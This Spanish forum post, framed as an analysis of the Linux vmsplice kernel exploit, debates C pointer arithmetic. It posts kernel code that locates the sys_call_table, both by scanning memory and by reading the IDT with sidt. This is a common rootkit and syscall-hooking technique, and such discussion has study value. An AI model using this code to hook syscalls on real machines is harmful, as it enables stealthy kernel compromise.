Análisis del exploit vmsplice del kernel linux

No estoy de acuerdo con como lo has explicado, entiendo el por qué del resultado, ¡ya he dicho que sí me manejo con punteros!.

El programa utiliza un truco bastante guarro xD, el hecho que ya comentamos de que al sumarle X a un puntero no se suma solo X sino X*sizeof(dato que guarda el puntero) y que es de lo que se vale tu programa. Yo lo entiendo!

printf("p1: %d, ", p1);
ptr += sizeof(void*);
p1 = (unsigned char **)ptr;
printf("p1+4: %d\n", p1);

Trucazo! xDD. ptr es de tipo unsigned long por lo tanto en esa suma de sizeof(void *) solo se suma 4.

printf("p2: %d, ", p2);
p2 += sizeof(void*);
printf("p2+4: %d\n", p2);

Y aqui esta el ocultamiento. p2 es un puntero a char **. O sea, que apunta a elementos de 4 bytes (apunta a punteros :s) por lo tanto la suma es X*sizeof(dato que apunta) = sizeof(void*)*sizeof(unsigned char **) = 4*4.

YO YA SE MANEJAR PUNTEROS!!! xDD. No me lo expliquen mas, porque ademas sigo planteando la misma situacion. En el codigo:

unsigned long ptr;
extern unsigned long loops_per_jiffy;

for (ptr=(unsigned long)&loops_per_jiffy ; ptr<(unsigned long)&boot_cpu_data ; ptr+=sizeof(void *))
{
p = (unsigned char **)ptr;
if (p[__NR_close] == (unsigned char *)sys_close)
{
return (void **)p;
}
}

Podria dejarse de usar p y usar solo ptr asi

unsigned long ptr;
extern unsigned long loops_per_jiffy;

for (ptr=(unsigned long)&loops_per_jiffy ; ptr<(unsigned long)&boot_cpu_data ; ptr+=sizeof(void *))
{

if (((unsigned char **)ptr)[__NR_close] == (unsigned char *)sys_close)
{
return (void **)ptr;
}
}

Avanza de 4 en 4, no de 16 en 16. PERO LA VERDADERA DUDA NO ES ESA! Sino por qué se utiliza tanto este código para buscar la tabla de símbolos si no es seguro que funcione. De hecho en mi ordenador no funciona. Miren, he hecho este codigo que en principio si encuentra la sys_call_table.

90 /* Try to find the sys_call_table. */
91 static void ** get_sys_call_table()
92 {
93 void *system_call, **ptr;

114 struct idtr
115 {
116 unsigned short limit;
117 unsigned int base;
118 }__attribute__((packed)) idtr;
119

140 struct idtr_entry
141 {
142 unsigned short low;
143 unsigned short selector;
144 unsigned char none, flags;
145 unsigned short high;
146 }__attribute__((packed)) entry;
147

152 __asm__ __volatile__ ("sidt %0": "=g" (idtr));
153
154 /* Read syscall entry information. */
155 memcpy(&entry, (void *)(idtr.base+sizeof(struct idtr_entry)*0x80), sizeof(struct idtr_entry));
156 system_call = (void *)(entry.high << 16 | entry.low);
157
158 ptr = (void **)memmem(system_call, 100, "\xff\x14\x85", 3);
159 if (ptr == NULL)
160 {
161 printk(KERN_ALERT "Cannot find call instr\n");
162 return NULL;
163 }
164 else
165 {
166 printk(KERN_ALERT "Call inst founded, checking sys_call_table\n");
167 ptr = (void **)*((int *)(((char *)ptr)+3));
168
169 if (ptr[__NR_close] == (void *)sys_close)
170 printk(KERN_ALERT "Seems to be sys_call_table\n");
171 else
172 {
173 printk(KERN_ALERT "Are you sure system_call has only one call instr?\n");
174 return NULL;
175 }
176 }
177
178 printk(KERN_ALERT "Sys_call_table is at 0x%p\n", ptr);
179 return ptr;
180 }

Se que es un poco guarrete, pero funciona.